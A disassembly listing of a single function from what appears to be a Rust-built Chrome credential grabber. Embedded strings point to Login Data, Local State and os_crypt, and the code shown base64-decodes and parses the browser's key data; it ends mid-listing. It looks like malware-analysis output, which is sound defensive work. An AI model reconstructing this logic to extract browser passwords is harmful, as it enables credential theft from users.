Function at 0x14003d88c
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x3f8
mov r13, rdx
mov r12, rcx
mov rcx, qword [rdx]
mov rdx, qword [rdx + 8]
lea r8, str.User_Data_Local_StateUser_Data_Local_State_Default_Login_DataUser_Data_Default_Login_Datasrcchrome_grabberdumper.rs_login_dataC_
mov r9d, 9
call fcn.14007dcaf
mov ecx, eax
xor cl, 1
movzx ecx, cl
lea r9, [rcx + rcx*8]
add r9, 0xc
lea rcx, [0x14033ed09]
lea r8, [0x14033ed15]
test al, al
cmovne r8, rcx
lea rsi, [rsp + 0x60]
mov rcx, rsi
mov rdx, r13
call fcn.14007c48c
cmp byte [rsi + 0x18], 2
mov rsi, qword [rsi]
mov qword [rsp + 0x40], r13
jne 0x14003d926
mov rax, qword [rsp + 0x68]
lea rcx, [rsp + 0x1b0]
mov qword [rcx], rsi
mov qword [rcx + 8], rax
call fcn.14000a6aa
mov byte [rsp + 0x260], reloc.WS2_32.dll_select
jmp 0x14003fc5c
lea rcx, [rsp + 0x60]
mov rbx, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
and dword [rcx + 0x20], 0
and word [rcx + 0x24], 0
and qword [rcx], 0
and dword [rcx + 8], 0
movaps xmm0, xmmword [0x14033ada0]
movups xmmword [rcx + 0x10], xmm0
mov byte [rcx + 0x20], 1
mov rdx, rbx
call fcn.140154c10
mov rbp, rax
mov rdi, rdx
mov rcx, rsi
mov rdx, rbx
call fcn.140150f00
test rbp, rbp
je 0x14003d986
lea rcx, [rsp + 0x260]
mov rdx, rdi
call fcn.140042479
jmp 0x14003dafb
mov ecx, 0x2000
call fcn.140121197
mov qword [rsp + 0x1b0], rdi
mov qword [rsp + 0x1b8], rdx
mov qword [rsp + 0x1c0], 0x2000
xorps xmm0, xmm0
and qword [rsp + 0x1d8], 0
movups xmmword [rsp + 0x1c8], xmm0
lea rsi, [r13 + 0x20]
cmp qword [r13 + 0x30], 0
je 0x14003da12
lea r8, [rsp + 0x140]
and qword [r8], 0
mov qword [r8 + 8], 1
and qword [r8 + 0x10], 0
lea rdi, [rsp + 0x60]
lea rdx, [rsp + 0x1b0]
mov rcx, rdi
call fcn.1400c270b
xor eax, eax
cmp qword [rdi], rax
je 0x14003da6f
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x148]
jmp 0x14003daa0
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x1b0]
mov r8, rsi
call fcn.1400c270b
mov rcx, qword [r13 + 0x28]
mov rdx, qword [r13 + 0x30]
lea r9, str._rustc_2c8cc343237b8f7d5a3c3703e3a87f2eb2c54a74library_std_srciomod.rsfailed_to_fill_whole_buffer
xor r8d, r8d
call fcn.14003818f
mov r8, rdx
lea rsi, [rsp + 0x60]
mov rcx, rsi
mov rdx, rax
call fcn.140084f40
cmp qword [rsi], 0
je 0x14003dab2
cmp qword [rsp + 0x140], 0
je 0x14003dad2
mov rsi, qword [rsp + 0x148]
jmp 0x14003dad9
mov rdi, qword [rsp + 0x148]
mov r8, qword [rsp + 0x150]
lea rbx, [rsp + 0x60]
mov rcx, rbx
mov rdx, rdi
call fcn.140084f40
cmp qword [rbx], 0
je 0x14003e8d3
lea rsi, str.stream_did_not_contain_valid_UTF_8
mov rcx, qword [rsp + 0x140]
mov rdx, rdi
call fcn.14007ab60
jmp 0x14003dade
mov rax, qword [r13 + 0x30]
mov rsi, qword [rsp + 0x148]
cmp qword [rsp + 0x140], 0
mov qword [r13 + 0x30], rax
jne 0x14003dade
jmp 0x14003e8fc
lea rsi, str.stream_did_not_contain_valid_UTF_8
and qword [r13 + 0x30], 0
lea rcx, [rsp + 0x260]
mov rdx, rsi
call fcn.140042479
lea rcx, [rsp + 0x1b0]
call fcn.14000c2b0
cmp byte [rsp + 0x260], 0x19
jne 0x14003fc5c
mov rsi, qword [rsp + 0x268]
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x48], r12
mov rdi, qword [rsp + 0x30]
mov rcx, rdi
call fcn.1400e4554
mov qword [rsp + 0xf0], rax
mov rcx, rdx
mov qword [rsp + 0x50], rdx
mov rdx, rsi
mov r8, rdi
call fcn.1403318a0
add rdi, 3
jb 0x140040ba2
shr rdi, 2
lea rcx, [rdi + rdi*2]
call fcn.1400e4554
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rdx
and qword [rsp + 0x70], 0
mov r14, qword [rsp + 0x30]
add r14, 7
jb 0x140040bb7
shr r14, 3
imul rdx, r14, 6
lea rsi, [rsp + 0x60]
mov rcx, rsi
call fcn.140094dcb
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea r9, [0x14033d980]
xor ecx, ecx
call fcn.140003331
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xe0], rdx
mov rax, qword [rsp + 0x30]
and eax, 7
cmp rax, 5
ja case.default.0x14003dbd8
lea rcx, [0x140040bd8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov dil, 1
sub qword [rsp + 0x30], 1
jae 0x14003e8a0
xor esi, esi
jmp 0x14003ec32
mov eax, 8
jmp case.default.0x14003dbd8
mov eax, 0xa
jmp case.default.0x14003dbd8
mov eax, ntohs
jmp case.default.0x14003dbd8
mov eax, ntohs
xor ecx, ecx
mov rdi, qword [rsp + 0x30]
sub rdi, rax
cmovb rdi, rcx
cmp rdi, 0x20
jb 0x14003e425
mov qword [rsp + 0x2e8], r14
mov qword [rsp + 0x228], rdi
lea rax, [rdi - 0x20]
xor ecx, ecx
lea rbp, [0x14033d780]
lea rsi, [0x14033d798]
lea r13, [0x14033d7b0]
lea r15, [0x14033d7c8]
xor r12d, r12d
mov qword [rsp + 0x3d0], rax
cmp rcx, rax
ja 0x14003ecb7
lea rdx, [rcx + 0x20]
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x3d8], rdx
mov r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x30]
call fcn.14000221e
mov rdi, rax
mov rbx, rdx
lea rdx, [r12 + 0x1a]
mov qword [rsp + 0x20], rsi
mov rcx, r12
mov r8, qword [rsp + 0xe8]
mov r9, qword [rsp + 0xe0]
call fcn.14000221e
mov rsi, rax
mov rbp, rdx
xor ecx, ecx
mov qword [rsp + 0x58], rdi
mov rdx, rdi
mov qword [rsp + 0x240], rbx
mov r8, rbx
mov r9, r13
call fcn.140003331
mov rbx, rax
mov rdi, rdx
xor ecx, ecx
mov qword [rsp + 0x238], rsi
mov rdx, rsi
mov qword [rsp + 0x230], rbp
mov r8, rbp
mov r9, r15
call fcn.140003331
test rdi, rdi
je 0x14003fb2f
movzx r15d, byte [rbx]
lea r14, [0x140344f60]
movzx r8d, byte [r15 + r14]
cmp r8, 0xff
mov r13, qword [rsp + 0x40]
je 0x14003ecd1
cmp rdi, 2
jb 0x14003fb3f
movzx r15d, byte [rbx + 1]
movzx r9d, byte [r15 + r14]
cmp r9, 0xff
je 0x14003ece2
cmp rdi, 2
jbe 0x14003fb52
movzx r15d, byte [rbx + 2]
movzx r10d, byte [r15 + r14]
cmp r10, 0xff
je 0x14003ecef
cmp rdi, 3
jbe 0x14003fb65
movzx r15d, byte [rbx + 3]
movzx r11d, byte [r15 + r14]
cmp r11, 0xff
je 0x14003ecfd
mov qword [rsp + 0x220], r12
cmp rdi, 4
jbe 0x14003fb78
movzx r15d, byte [rbx + 4]
movzx esi, byte [r15 + r14]
cmp rsi, 0xff
je 0x14003ed0b
cmp rdi, 5
jbe 0x14003fb8b
movzx r15d, byte [rbx + 5]
movzx ebp, byte [r15 + r14]
cmp rbp, 0xff
mov r12, qword [rsp + 0x48]
je 0x14003ed19
cmp rdi, 6
jbe 0x14003fb9e
movzx r15d, byte [rbx + 6]
movzx ecx, byte [r15 + r14]
cmp rcx, 0xff
je 0x14003ed27
cmp rdi, 7
jbe 0x14003fbb1
movzx r15d, byte [rbx + 7]
movzx edi, byte [r15 + r14]
cmp rdi, 0xff
je 0x14003ed35
shl r8, 0x3a
shl r9, 0x34
or r9, r8
shl r10, 0x2e
or r10, r9
shl r11, 0x28
or r11, r10
shl rsi, 0x22
or rsi, r11
shl rbp, 0x1c
or rbp, rsi
shl rcx, 0x16
or rcx, rbp
shl rdi, 0x10
or rdi, rcx
mov r8d, 8
mov rcx, rax
lea r9, [0x14033d9c8]
call fcn.14005bc73
bswap rdi
mov qword [rsp + 0x1b0], rdi
lea rcx, [0x14033d9e0]
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x1b0]
call fcn.140096d96
mov ecx, 8
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x240]
lea r9, [0x14033d7e0]
call fcn.140003331
mov rbx, rax
mov r13, rdx
mov ecx, 6
mov rdx, qword [rsp + 0x238]
mov r8, qword [rsp + 0x230]
lea r9, [0x14033d7f8]
call fcn.140003331
test r13, r13
je 0x14003fb2f
movzx r15d, byte [rbx]
movzx r8d, byte [r15 + r14]
cmp r8, 0xff
je 0x14003ed9d
cmp r13, 2
jb 0x14003fb3f
movzx r15d, byte [rbx + 1]
movzx r9d, byte [r15 + r14]
cmp r9, 0xff
je 0x14003eda8
cmp r13, 2
jbe 0x14003fb52
movzx r15d, byte [rbx + 2]
movzx r10d, byte [r15 + r14]
cmp r10, 0xff
je 0x14003edd1
cmp r13, 3
jbe 0x14003fb65
movzx r15d, byte [rbx + 3]
movzx esi, byte [r15 + r14]
cmp rsi, 0xff
je 0x14003eddc
cmp r13, 4
jbe 0x14003fb78
movzx r15d, byte [rbx + 4]
movzx ecx, byte [r15 + r14]
cmp rcx, 0xff
je 0x14003ede7
cmp r13, 5
jbe 0x14003fb8b
movzx r15d, byte [rbx + 5]
movzx edi, byte [r15 + r14]
cmp rdi, 0xff
je 0x14003edf2
cmp r13, 6
jbe 0x14003fb9e
movzx r15d, byte [rbx + 6]
movzx ebp, byte [r15 + r14]
cmp rbp, 0xff
je 0x14003edfd
cmp r13, 7
jbe 0x14003fbb1
movzx r15d, byte [rbx + 7]
movzx ebx, byte [r15 + r14]
cmp rbx, 0xff
mov r13, qword [rsp + 0x40]
je 0x14003ee14
shl r8, 0x3a
shl r9, 0x34
or r9, r8
shl r10, 0x2e
or r10, r9
shl rsi, 0x28
or rsi, r10
shl rcx, 0x22
or rcx, rsi
shl rdi, 0x1c
or rdi, rcx
shl rbp, 0x16
or rbp, rdi
shl rbx, 0x10
or rbx, rbp
mov r8d, 8
mov rcx, rax
lea r9, [0x14033d9c8]
call fcn.14005bc73
bswap rbx
mov qword [rsp + 0x1b0], rbx
lea rcx, [0x14033d9e0]
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x1b0]
call fcn.140096d96
mov ecx, reloc.WS2_32.dll_recv
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x240]
lea r9, [0x14033d810]
call fcn.140003331
mov rbx, rax
mov rdi, rdx
mov ecx, ntohs
mov rdx, qword [rsp + 0x238]
mov r8, qword [rsp + 0x230]
lea r9, [0x14033d828]
call fcn.140003331
test rdi, rdi
je 0x14003fb2f
movzx r15d, byte [rbx]
movzx r8d, byte [r15 + r14]
cmp r8, 0xff
je 0x14003ee22
cmp rdi, 2
jb 0x14003fb3f
movzx r15d, byte [rbx + 1]
movzx r9d, byte [r15 + r14]
cmp r9, 0xff
je 0x14003ee30
cmp rdi, 2
jbe 0x14003fb52
movzx r15d, byte [rbx + 2]
movzx r10d, byte [r15 + r14]
cmp r10, 0xff
je 0x14003ee3e
cmp rdi, 3
jbe 0x14003fb65
movzx r15d, byte [rbx + 3]
movzx r11d, byte [r15 + r14]
cmp r11, 0xff
je 0x14003ee4c
cmp rdi, 4
jbe 0x14003fb78
movzx r15d, byte [rbx + 4]
movzx esi, byte [r15 + r14]
cmp rsi, 0xff
je 0x14003ee5a
cmp rdi, 5
jbe 0x14003fb8b
movzx r15d, byte [rbx + 5]
movzx ebp, byte [r15 + r14]
cmp rbp, 0xff
je 0x14003ee68
cmp rdi, 6
jbe 0x14003fb9e
movzx r15d, byte [rbx + 6]
movzx ecx, byte [r15 + r14]
cmp rcx, 0xff
je 0x14003ee76
cmp rdi, 7
jbe 0x14003fbb1
movzx r15d, byte [rbx + 7]
movzx edi, byte [r15 + r14]
cmp rdi, 0xff
je 0x14003ee84
shl r8, 0x3a
shl r9, 0x34
or r9, r8
shl r10, 0x2e
or r10, r9
shl r11, 0x28
or r11, r10
shl rsi, 0x22
or rsi, r11
shl rbp, 0x1c
or rbp, rsi
shl rcx, 0x16
or rcx, rbp
shl rdi, 0x10
or rdi, rcx
mov r8d, 8
mov rcx, rax
lea r9, [0x14033d9c8]
call fcn.14005bc73
bswap rdi
mov qword [rsp + 0x1b0], rdi
lea rcx, [0x14033d9e0]
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x1b0]
call fcn.140096d96
mov ecx, 0x18
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x240]
lea r9, [0x14033d840]
call fcn.140003331
mov rbx, rax
mov rdi, rdx
mov ecx, reloc.WS2_32.dll_select
mov rdx, qword [rsp + 0x238]
mov r8, qword [rsp + 0x230]
lea r9, [0x14033d858]
call fcn.140003331
test rdi, rdi
je 0x14003fb2f
movzx r15d, byte [rbx]
movzx r8d, byte [r15 + r14]
cmp r8, 0xff
je 0x14003ee92
cmp rdi, 2
jb 0x14003fb3f
movzx r15d, byte [rbx + 1]
movzx r9d, byte [r15 + r14]
cmp r9, 0xff
je 0x14003eea0
cmp rdi, 2
jbe 0x14003fb52
movzx r15d, byte [rbx + 2]
movzx r10d, byte [r15 + r14]
cmp r10, 0xff
je 0x14003eeae
cmp rdi, 3
jbe 0x14003fb65
movzx r15d, byte [rbx + 3]
movzx r11d, byte [r15 + r14]
cmp r11, 0xff
je 0x14003eebc
cmp rdi, 4
jbe 0x14003fb78
movzx r15d, byte [rbx + 4]
movzx esi, byte [r15 + r14]
cmp rsi, 0xff
je 0x14003eeca
cmp rdi, 5
jbe 0x14003fb8b
movzx r15d, byte [rbx + 5]
movzx ebp, byte [r15 + r14]
cmp rbp, 0xff
je 0x14003ef71
cmp rdi, 6
jbe 0x14003fb9e
movzx r15d, byte [rbx + 6]
movzx ecx, byte [r15 + r14]
cmp rcx, 0xff
je 0x14003ef7c
cmp rdi, 7
jbe 0x14003fbb1
movzx r15d, byte [rbx + 7]
movzx edi, byte [r15 + r14]
cmp rdi, 0xff
je 0x14003ef90
shl r8, 0x3a
shl r9, 0x34
or r9, r8
shl r10, 0x2e
or r10, r9
shl r11, 0x28
or r11, r10
shl rsi, 0x22
or rsi, r11
shl rbp, 0x1c
or rbp, rsi
shl rcx, 0x16
or rcx, rbp
shl rdi, 0x10
or rdi, rcx
mov r8d, 8
mov rcx, rax
lea r9, [0x14033d9c8]
call fcn.14005bc73
bswap rdi
mov qword [rsp + 0x1b0], rdi
lea rcx, [0x14033d9e0]
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x1b0]
call fcn.140096d96
mov r12, qword [rsp + 0x220]
add r12, 0x18
add qword [rsp + 0x2e8], 0xfffffffffffffffc
mov rcx, qword [rsp + 0x3d8]
mov rax, qword [rsp + 0x3d0]
lea rbp, [0x14033d780]
lea rsi, [0x14033d798]
lea r13, [0x14033d7b0]
lea r15, [0x14033d7c8]
jmp 0x14003dc5f
xor r12d, r12d
cmp rdi, 8
jb 0x14003e644
add rdi, 0xfffffffffffffff8
mov qword [rsp + 0x228], rdi
cmp rcx, rdi
jae 0x14003e644
lea rsi, [rcx + 8]
lea rax, [0x14033d870]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x38], rcx
mov rdx, rsi
mov r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x30]
call fcn.14000221e
mov rbx, rax
mov r13, rdx
lea rdx, [r12 + 8]
lea rax, [0x14033d888]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov r8, qword [rsp + 0xe8]
mov r9, qword [rsp + 0xe0]
call fcn.14000221e
test r13, r13
je 0x14003fb2f
movzx r15d, byte [rbx]
lea rbp, [0x140344f60]
movzx r8d, byte [r15 + rbp]
cmp r8, 0xff
je 0x14003ebd9
cmp r13, 2
jb 0x14003fb3f
movzx r15d, byte [rbx + 1]
movzx r9d, byte [r15 + rbp]
cmp r9, 0xff
je 0x14003ebf5
cmp r13, 2
jbe 0x14003fb52
movzx r15d, byte [rbx + 2]
movzx r10d, byte [r15 + rbp]
cmp r10, 0xff
je 0x14003ec0d
cmp r13, 3
jbe 0x14003fb65
movzx r15d, byte [rbx + 3]
movzx r11d, byte [r15 + rbp]
cmp r11, 0xff
je 0x14003ec3c
cmp r13, 4
jbe 0x14003fb78
movzx r15d, byte [rbx + 4]
movzx ecx, byte [r15 + rbp]
cmp rcx, 0xff
je 0x14003ec4a
mov qword [rsp + 0x58], rsi
cmp r13, 5
jbe 0x14003fb8b
movzx r15d, byte [rbx + 5]
movzx esi, byte [r15 + rbp]
cmp rsi, 0xff
je 0x14003ec58
cmp r13, 6
jbe 0x14003fb9e
movzx r15d, byte [rbx + 6]
movzx edi, byte [r15 + rbp]
cmp rdi, 0xff
je 0x14003eca9
cmp r13, 7
jbe 0x14003fbb1
movzx r15d, byte [rbx + 7]
movzx ebx, byte [r15 + rbp]
cmp rbx, 0xff
mov r13, qword [rsp + 0x40]
je 0x14003eaeb
shl r8, 0x3a
shl r9, 0x34
or r9, r8
shl r10, 0x2e
or r10, r9
shl r11, 0x28
or r11, r10
shl rcx, 0x22
or rcx, r11
shl rsi, 0x1c
or rsi, rcx
shl rdi, 0x16
or rdi, rsi
shl rbx, 0x10
or rbx, rdi
mov r8d, 8
mov rcx, rax
lea r9, [0x14033d9c8]
call fcn.14005bc73
bswap rbx
mov qword [rsp + 0x1b0], rbx
lea rcx, [0x14033d9e0]
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x1b0]
call fcn.140096d96
add r12, 6
dec r14
mov rcx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x228]
jmp 0x14003e43e
mov edi, 1
cmp rdi, r14
mov qword [rsp + 0x38], rcx
jae 0x14003eaf9
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x30]
lea r9, [0x14033d8a0]
call fcn.140003331
mov rbx, rax
mov r13, rdx
lea rbp, [r12 + 6]
lea rax, [0x14033d8b8]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, rbp
mov r8, qword [rsp + 0xe8]
mov r9, qword [rsp + 0xe0]
call fcn.14000221e
and qword [rsp + 0x260], 0
test r13, r13
je 0x14003fb2f
movzx r15d, byte [rbx]
lea r9, [0x140344f60]
movzx r8d, byte [r15 + r9]
cmp r8, 0xff
je 0x14003ebad
cmp r13, 2
jb 0x14003fb3f
movzx r15d, byte [rbx + 1]
movzx r10d, byte [r15 + r9]
cmp r10, 0xff
je 0x14003ebb9
cmp r13, 2
jbe 0x14003fb52
mov r11, rdx
movzx r15d, byte [rbx + 2]
movzx edx, byte [r15 + r9]
cmp rdx, 0xff
je 0x14003ebc3
cmp r13, 3
jbe 0x14003fb65
movzx r15d, byte [rbx + 3]
movzx esi, byte [r15 + r9]
cmp rsi, 0xff
je 0x14003ebce
mov qword [rsp + 0x58], rdi
cmp r13, 4
jbe 0x14003fb78
movzx r15d, byte [rbx + 4]
movzx edi, byte [r15 + r9]
cmp rdi, 0xff
je 0x14003ebea
cmp r13, 5
jbe 0x14003fb8b
mov r12, rbp
movzx r15d, byte [rbx + 5]
movzx ebp, byte [r15 + r9]
cmp rbp, 0xff
je 0x14003ec02
cmp r13, 6
jbe 0x14003fb9e
movzx r15d, byte [rbx + 6]
movzx ecx, byte [r15 + r9]
cmp rcx, 0xff
je 0x14003ec1b
cmp r13, 7
jbe 0x14003fbb1
movzx r15d, byte [rbx + 7]
movzx ebx, byte [r15 + r9]
cmp rbx, 0xff
mov r13, qword [rsp + 0x40]
je 0x14003eaeb
shl r8, 0x3a
shl r10, 0x34
or r10, r8
shl rdx, 0x2e
or rdx, r10
shl rsi, 0x28
or rsi, rdx
shl rdi, 0x22
or rdi, rsi
shl rbp, 0x1c
or rbp, rdi
shl rcx, 0x16
or rcx, rbp
shl rbx, 0x10
or rbx, rcx
mov edx, 8
mov r8d, 8
lea rsi, [rsp + 0x260]
mov rcx, rsi
lea r9, [0x14033d9c8]
mov rdi, rax
mov rbp, r11
call fcn.14005bc73
bswap rbx
mov qword [rsp + 0x1b0], rbx
lea rcx, [0x14033d9e0]
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
lea r8, [rsp + 0x1b0]
call fcn.140096d96
lea rax, [0x14033d998]
mov qword [rsp + 0x20], rax
mov edx, 6
xor ecx, ecx
mov r8, rdi
mov r9, rbp
call fcn.14000221e
lea rcx, [0x14033d9b0]
mov qword [rsp + 0x20], rcx
mov r9d, 6
mov rcx, rax
mov r8, rsi
call fcn.140096d96
mov rcx, qword [rsp + 0x38]
add rcx, 8
mov rdi, qword [rsp + 0x58]
inc rdi
jmp 0x14003e649
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
movzx r15d, byte [rax + rcx]
cmp r15, 0x3d
mov r12, qword [rsp + 0x48]
je 0x14003e8cc
lea rax, [0x140344f60]
cmp byte [r15 + rax], 0xff
je 0x14003edca
xor esi, esi
jmp 0x14003efac
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
add rdx, r8
mov rcx, rsi
call fcn.1400e43de
mov rcx, qword [rsp + 0x140]
mov rdx, rdi
call fcn.14007ab60
mov rax, qword [r13 + 0x30]
mov rcx, qword [r13 + 0x28]
lea rdx, [rsp + 0x60]
mov qword [rdx], rcx
mov qword [rdx + 8], rax
xorps xmm0, xmm0
movups xmmword [rdx + 0x10], xmm0
mov qword [rdx + 0x20], 1
and qword [rdx + 0x28], 0
mov byte [rdx + 0x30], 0x80
lea rsi, [rsp + 0x2f0]
mov rcx, rsi
call fcn.140002f38
cmp byte [rsi], 0
je 0x14003e946
mov rdi, qword [rsp + 0x2f8]
jmp 0x14003fbf9
cmp byte [rsp + 0x2f1], 0
je 0x14003fa3e
movzx eax, byte [rsp + 0x2f2]
cmp eax, 0x5b
je 0x14003ec66
cmp eax, 0x7b
jne 0x14003fbc9
dec byte [rsp + 0x90]
je 0x14003fb04
mov qword [rsp + 0x48], r12
lea r12, [rsp + 0x78]
inc qword [r12 - 8]
mov bl, 1
xor r15d, r15d
lea r14, [rsp + 0x2f0]
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x140]
lea r13, str.os_cryptstruct_LocalStatestruct_LocalState_with_1_element
mov sil, 1
mov rcx, r14
mov rdx, rbp
call fcn.140002f38
cmp byte [rsp + 0x2f0], 0
jne 0x14003fa0e
cmp byte [rsp + 0x2f1], 0
je 0x140040ae6
mov al, byte [rsp + 0x2f2]
movzx ecx, al
cmp ecx, 0x2c
je 0x14003e9f6
cmp ecx, 0x7d
je 0x14003fa52
test bl, bl
jne 0x14003e9fb
jmp 0x140040af7
test sil, sil
je 0x14003ea69
xor ebx, ebx
cmp al, 0x22
jne 0x140040a69
inc qword [rsp + 0x70]
and qword [rsp + 0x88], 0
mov rcx, rdi
mov rdx, rbp
mov r8, r12
call fcn.140147ef4
cmp dword [rsp + 0x140], 2
mov rcx, qword [rsp + 0x148]
je 0x14003fa16
mov rdx, qword [rsp + 0x150]
mov r9d, 8
mov r8, r13
call fcn.14007dcaf
test al, al
jne 0x14003eaa1
mov rcx, rbp
call fcn.140018324
xor esi, esi
test rax, rax
je 0x14003e9ae
jmp 0x14003fa2a
inc qword [rsp + 0x70]
mov rcx, rdi
mov rdx, rbp
call fcn.140002f38
cmp byte [rsp + 0x140], 0
jne 0x140040a5c
cmp byte [rsp + 0x141], 0
je 0x140040b7b
mov al, byte [rsp + 0x142]
jmp 0x14003e9fd
test r15, r15
jne 0x140040b8f
mov rcx, rbp
call fcn.140002fc3
test rax, rax
jne 0x140040b57
mov rcx, rdi
mov rdx, rbp
call fcn.1400301bb
mov r15, qword [rsp + 0x140]
test r15, r15
je 0x140040b4f
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x30], rax
xor esi, esi
jmp 0x14003e9ae
mov rbx, qword [rsp + 0x38]
add rbx, 7
jmp 0x14003ec29
mov qword [rsp + 0x220], r12
lea r9, [0x14033d8d0]
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x30]
call fcn.140003331
add rdx, rax
xor r14d, r14d
xor r10d, r10d
xor r9d, r9d
xor r11d, r11d
xor esi, esi
xor r8d, r8d
mov r12, qword [rsp + 0x48]
mov edi, r11d
xor ebp, ebp
lea rcx, [rax + rbp]
cmp rcx, rdx
je 0x14003ed43
movzx r15d, byte [rcx]
cmp r15, 0x3d
jne 0x14003eb68
lea rbx, [r14 + rbp]
test bl, 2
je 0x14003edb3
lea rcx, [rdi + rbp]
test ecx, ecx
cmove rsi, rbx
inc rbp
jmp 0x14003eb35
add rdi, rbp
test edi, edi
jg 0x140040a93
lea rcx, [0x140344f60]
movzx r8d, byte [r15 + rcx]
cmp r8, 0xff
je 0x140040ac1
add rax, rbp
inc rax
inc r9
imul ecx, r9d, 0x3a
shl r8, cl
add r14, rbp
inc r14
or r10, r8
mov r11d, edi
mov r8d, r15d
jmp 0x14003eb30
mov r13, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
jmp 0x14003ec29
mov rbx, qword [rsp + 0x38]
inc rbx
jmp 0x14003ec24
mov rbx, qword [rsp + 0x38]
add rbx, 2
jmp 0x14003ec24
mov rbx, qword [rsp + 0x38]
add rbx, 3
jmp 0x14003ec24
xor esi, esi
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
jmp 0x14003efa0
mov rbx, qword [rsp + 0x38]
add rbx, 4
jmp 0x14003ec24
mov rbx, qword [rsp + 0x38]
inc rbx
jmp 0x14003ef99
mov rbx, qword [rsp + 0x38]
add rbx, 5
jmp 0x14003ec24
mov rbx, qword [rsp + 0x38]
add rbx, 2
jmp 0x14003ef99
mov rbx, qword [rsp + 0x38]
add rbx, 6
mov r13, qword [rsp + 0x40]
xor esi, esi
mov qword [rsp + 0x30], rbx
xor edi, edi
mov r12, qword [rsp + 0x48]
jmp 0x14003efac
mov rbx, qword [rsp + 0x38]
add rbx, 3
jmp 0x14003ef99
mov rbx, qword [rsp + 0x38]
add rbx, 4
jmp 0x14003ef99
mov rbx, qword [rsp + 0x38]
add rbx, 5
jmp 0x14003ef99
dec byte [rsp + 0x90]
je 0x14003fb04
lea rdx, [rsp + 0x60]
inc qword [rdx + 0x10]
lea rsi, [rsp + 0x2f0]
mov rcx, rsi
call fcn.140002f38
cmp byte [rsi], 0
je 0x14003eed8
mov rax, qword [rsp + 0x2f8]
mov qword [rsp + 0x30], rax
xor edi, edi
jmp 0x14003ef22
mov rbx, qword [rsp + 0x38]
add rbx, 6
jmp 0x14003ef99
mov rdi, qword [rsp + 0x228]
mov r13, qword [rsp + 0x40]
mov r14, qword [rsp + 0x2e8]
jmp 0x14003e428
xor esi, esi
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
jmp 0x14003ec30
mov rbx, qword [rsp + 0x38]
inc rbx
jmp 0x14003ec29
mov rbx, qword [rsp + 0x38]
add rbx, 2
jmp 0x14003ec29
mov rbx, qword [rsp + 0x38]
add rbx, 3
jmp 0x14003ec29
mov rbx, qword [rsp + 0x38]
add rbx, 4
jmp 0x14003ec29
mov rbx, qword [rsp + 0x38]
add rbx, 5
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 6
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 7
jmp 0x14003ee06
cmp r9, 9
jae 0x140040bd1
mov eax, 0x1dd
bt eax, r9d
jae 0x140040bd1
lea rax, [0x140340e98]
mov eax, dword [rax + r9*4]
mov rdx, r10
mov ecx, eax
shl rdx, cl
test rdx, rdx
mov rdi, qword [rsp + 0x220]
je 0x14003f9b8
mov rax, qword [rsp + 0x38]
add rax, r9
dec rax
mov qword [rsp + 0x30], rax
mov dil, 2
xor esi, esi
mov r15d, r8d
jmp 0x14003efac
mov rbx, qword [rsp + 0x38]
add rbx, 8
jmp 0x14003ee06
mov rbx, qword [rsp + 0x38]
add rbx, 9
jmp 0x14003ee06
add r11d, ebp
test r11d, r11d
cmovg rbx, rsi
add rbx, qword [rsp + 0x38]
mov qword [rsp + 0x30], rbx
mov r15b, 0x3d
xor esi, esi
jmp 0x14003ef8c
mov rbx, qword [rsp + 0x38]
add rbx, 0xa
jmp 0x14003ee06
mov rbx, qword [rsp + 0x38]
add rbx, 0xb
jmp 0x14003ee06
mov rbx, qword [rsp + 0x38]
add rbx, 0xc
jmp 0x14003ee06
mov rbx, qword [rsp + 0x38]
add rbx, 0xd
jmp 0x14003ee06
mov rbx, qword [rsp + 0x38]
add rbx, 0xe
xor esi, esi
mov qword [rsp + 0x30], rbx
xor edi, edi
jmp 0x14003efa7
mov rbx, qword [rsp + 0x38]
add rbx, 0xf
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 0x10
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 0x11
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 0x12
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 0x13
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
